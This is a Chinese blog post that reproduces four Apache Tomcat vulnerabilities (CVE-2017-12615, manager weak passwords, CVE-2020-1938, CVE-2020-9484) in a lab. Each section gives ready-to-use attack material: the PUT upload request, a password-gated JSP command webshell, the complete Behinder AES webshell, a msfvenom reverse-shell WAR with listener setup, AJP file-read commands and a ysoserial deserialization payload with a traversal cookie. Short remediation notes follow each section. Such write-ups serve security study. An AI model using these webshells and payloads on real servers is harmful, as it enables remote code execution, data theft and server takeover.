Tomcat漏洞复现

所有文章,仅供安全研究与学习之用,后果自负!


前言

tomcat 环境官网地址
http://tomcat.apache.org/download-80.cgi

参考 https://cloud.tencent.com/developer/article/1590639搭建

以下使用vulfocus靶场

ysoserial

集合了各种java反序列化payload;
下载地址:https://github.com/angelwhu/ysoserial

http://www.jackson-t.ca/runtime-exec-payloads.html
CVE-2016-8735
CVE-2017-12615 readonly 设为true的情况少
CVE-2020-1938 AJP协议漏洞 8009暴露在外网的少
控制台弱口令 部署webshell 7.x版本后 默认加了防爆机制

一、tomcat 文件上传 (CVE-2017-12615)

0x01 漏洞描述

Windows上的Apache Tomcat如果开启PUT方法(默认关闭),则存在此漏洞,攻击者可以利用该漏洞上传JSP文件,从而导致远程代码执行。

Tomcat 是一个小型的轻量级应用服务器,在中小型系统和并发访问用户不是很多的场合下被普遍使用,是开发和调试JSP 程序的首选。 攻击者将有可能可通过精心构造的攻击请求数据包向服务器上传包含任意代码的 JSP 的webshell文件,JSP文件中的恶意代码将能被服务器执行,导致服务器上的数据泄露或获取服务器权限。

开启PUT方法
默认情况下readonly是true,此时PUT和DELETE方法是被拒绝的,当readonly为false时,便会开启。打开tomcat/conf/web.xml文件,找到default servlet的配置项,添加readonly那一项
在这里插入图片描述

0x02 影响范围

Apache Tomcat 7.0.0 – 7.0.81

0x03 漏洞复现

手动复现

(1)开启抓包访问
在这里插入图片描述
(2)修改请求方式为
OPTIONS /xx HTTP/1.1
在这里插入图片描述
发现允许PUT方法
(3)验证漏洞是否存在的话 直接
修改请求方式为 PUT /test.jsp/ HTTP/1.1
添加请求体为 <%out.print(“hacker”); %>
然后访问test.jsp即可
在这里插入图片描述

(4)上传执行命令脚本
发送请求包为
添加请求方式

PUT /test.jsp/ HTTP/1.1

和请求体

<%
    if("123".equals(request.getParameter("pwd"))){
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
        int a = -1;          
        byte[] b = new byte[1024];          
        out.print("<pre>");          
        while((a=in.read(b))!=-1){
            out.println(new String(b));          
        }
        out.print("</pre>");
    } 
%>

(5)访问上传点
payload: http://118.193.36.37:50179/test.jsp?&pwd=123&cmd=pwd
在这里插入图片描述
jsp马上传成功
(6)冰蝎连接webshell

jsp木马为

	<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>
同5中利用方法 抓包 请求体改为 上边代码
上传成功后 冰蝎连接

在这里插入图片描述

脚本利用

cve-2017-12615_cmd.py
python2 运行
(1) 运行查看说明

python2 cve-2017-12615_cmd.py

在这里插入图片描述
(2) exp

python2 cve-2017-12615_cmd.py  http://118.193.36.37:21469 	

在这里插入图片描述
(3)反弹shell
bash base64编码输入
在这里插入图片描述

在这里插入图片描述

0x04 修复方法

1.配置readonly和VirtualDirContext值为True或注释参数,禁止使用PUT方法并重启
tomcat
注意:如果禁用PUT方法,对于依赖PUT方法的应用,可能导致业务失效。
2.根据官方补丁升级最新版本

二、tomcat-pass-getshell 弱口令

0x01 漏洞描述

Tomcat是Apache 软件基金会(Apache Software Foundation)的Jakarta 项目中的一个核心项目,由Apache、Sun 和其他一些公司及个人共同开发而成。 通过弱口令登录后台,部署war包geshell

0x02 影响范围

0x03 漏洞利用

(1)访问页面
在这里插入图片描述
(2)点击manager app 登录
tomcat:tomcat若口令登录
(3)登录后发现有上传点
在这里插入图片描述
先将jsp一句话木马压缩为 shell1.zip文件
再将shell1 .zip文件修改为 shell1.war文件 然后上传
在这里插入图片描述

(4)发现多出一个shell1目录
在这里插入图片描述

访问shell1目录下的压缩包里的shell1.jsp木马存在该页面 上传成功

在这里插入图片描述

冰蝎连接即可

在这里插入图片描述

也可以用 msf马

(1)msf 生成waf木马

msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.110.128 lport=8888 -f war -o msf.war

(2)msf 开启监听

use exploit/multi/handler
set payload java/meterpreter/reverse_tcp 
set lhost 192.168.110.128
set lport 8888

在这里插入图片描述

(3)上传 msf.war
在这里插入图片描述
上传成功

在这里插入图片描述

(4)访问msf.war脚本
在这里插入图片描述
(5)反弹shell成功

在这里插入图片描述

0x04 修复方法

1、在系统上以低权限运行Tomcat应用程序。创建一个专门的 Tomcat服务用户,该用户只能拥有一组最小权限(例如不允许远程登录)。

2、增加对于本地和基于证书的身份验证,部署账户锁定机制(对于集中式认证,目录服务也要做相应配置)。在CATALINA_HOME/conf/web.xml文件设置锁定机制和时间超时限制。

3、以及针对manager-gui/manager-status/manager-script等目录页面设置最小权限访问限制。

三、tomcat 文件包含 (CVE-2020-1938)

0x01漏洞描述

描述: Apache Tomcat是美国阿帕奇(Apache)软件基金会的一款轻量级Web应用服务器。该程序实现了对Servlet和JavaServer Page(JSP)的支持。 国家信息安全漏洞共享平台发布了Apache Tomcat上的文件包含漏洞。通知中表示攻击者可利用该漏洞读取或包含Tomcat上所有webapp目录下的任意文件,如:webapp配置文件或源代码等 根目录下有个flag.png,可以去包含它进行读取flag

这个包含漏洞不能跨出 webapps 目录,攻击者可以读取到 webapp 目录下的任意文件,包括 war 包。而 war 包里有properties文件,不少开发团队都把连接数据库的用户名密码、JWT 签名 secret 、加解密密钥等重要信息放在这个文件里。这个漏洞的存在,允许攻击者可以最终读取到这些密钥数据,当然源码也是能通过反编译 war 包里的 class 文件得到的。

当然,这个漏洞也能配合上传漏洞包含 getShell

0x02 影响范围

受影响版本
Apache Tomcat 6
Apache Tomcat 7 < 7.0.100
Apache Tomcat 8 < 8.5.51
Apache Tomcat 9 < 9.0.31
不受影响版本
Apache Tomcat = 7.0.100
Apache Tomcat = 8.5.51
Apache Tomcat = 9.0.31

0x03 漏洞利用

(1)漏洞利用地址
poc地址 https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi
python2 运行

 python2 CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.1.111 -p 8009 -f  WEB-INF/web.xml

在这里插入图片描述
存在漏洞

(2) 靶场 提示 源代码根目录下存在flag.png 可以去包含它进行读取flag
访问确实存在
在这里插入图片描述
(3)python2 CNVD-2020-10487-Tomcat-Ajp-lfi.py 118.193.36.37 -p 56786 -f flag.png
在这里插入图片描述
读取出上述代码

由于本人较菜 不知道怎么没有解析jsp 而是显示的源代码 请各位大佬指教。

0x04 修复方法

官方升级

目前官方已在最新版本中修复了该漏洞,请受影响的用户尽快升级版本进行防护
一:若不需要使用Tomcat AJP协议,可直接关闭AJP Connector,或将其监听地址改为仅监听本机localhost。

其他防护措施

具体操作:

(1)编辑 <CATALINA_BASE>/conf/server.xml,找到如下行(<CATALINA_BASE> 为 Tomcat 的工作目录):

<Connector port="8009"protocol="AJP/1.3" redirectPort="8443" />

(2)将此行注释掉(也可删掉该行):

<!--<Connector port="8009" protocol="AJP/1.3" redirectPort="8443" />-->

(3)保存后需重新启动Tomcat,规则方可生效。

二:若需使用Tomcat AJP协议,可根据使用版本配置协议属性设置认证凭证。

使用Tomcat 7和Tomcat 9的用户可为AJP Connector配置secret来设置AJP协议的认证凭证。例如(注意必须将YOUR_TOMCAT_AJP_SECRET更改为一个安全性高、无法被轻易猜解的值):

<Connector port="8009" protocol="AJP/1.3" redirectPort="8443" address="YOUR_TOMCAT_IP_ADDRESS" secret="YOUR_TOMCAT_AJP_SECRET"/>

使用Tomcat 8的用户可为AJP Connector配置requiredSecret来设置AJP协议的认证凭证。例如(注意必须将YOUR_TOMCAT_AJP_SECRET更改为一个安全性高、无法被轻易猜解的值):

<Connector port="8009" protocol="AJP/1.3" redirectPort="8443" address="YOUR_TOMCAT_IP_ADDRESS" requiredSecret="YOUR_TOMCAT_AJP_SECRET" />

四、 tomcat 反序列化 (CVE-2020-9484)

0x01 漏洞描述

描述: Apache Tomcat是由Apache软件基金会属下Jakarta项目开发的Servlet容器。
成功利用此漏洞需要同时满足以下4个条件:
1.攻击者能够控制服务器上文件的内容和文件名称;
2.服务器PersistenceManager配置中使用了FileStore;
3.PersistenceManager中的sessionAttributeValueClassNameFilter被配置为“null”,或者过滤器不够严格,导致允许攻击者提供反序列化数据的对象;
4.攻击者知道使用的FileStore存储位置到攻击者可控文件的相对路径

0x02 影响版本

Apache Tomcat 10.0.0-M1—10.0.0-M4

Apache Tomcat 9.0.0.M1—9.0.34

Apache Tomcat 8.5.0—8.5.54

Apache Tomcat 7.0.0—7.0.103

0x03 漏洞利用

(1)执行下边语句生成payload
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections2 “ls /tmp” > /tmp/666.session
在这里插入图片描述
(2)执行
curl ‘http://118.193.36.37:15433’ -H ‘Cookie: JSESSIONID=…/…/…/…/tmp/666.session’
在这里插入图片描述

未成功

0x04 修复建议

升级到 Apache Tomcat 10.0.0-M5 及以上版本
升级到 Apache Tomcat 9.0.35 及以上版本
升级到 Apache Tomcat 8.5.55 及以上版本
升级到 Apache Tomcat 7.0.104 及以上版本

总结

未完后续再补充

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值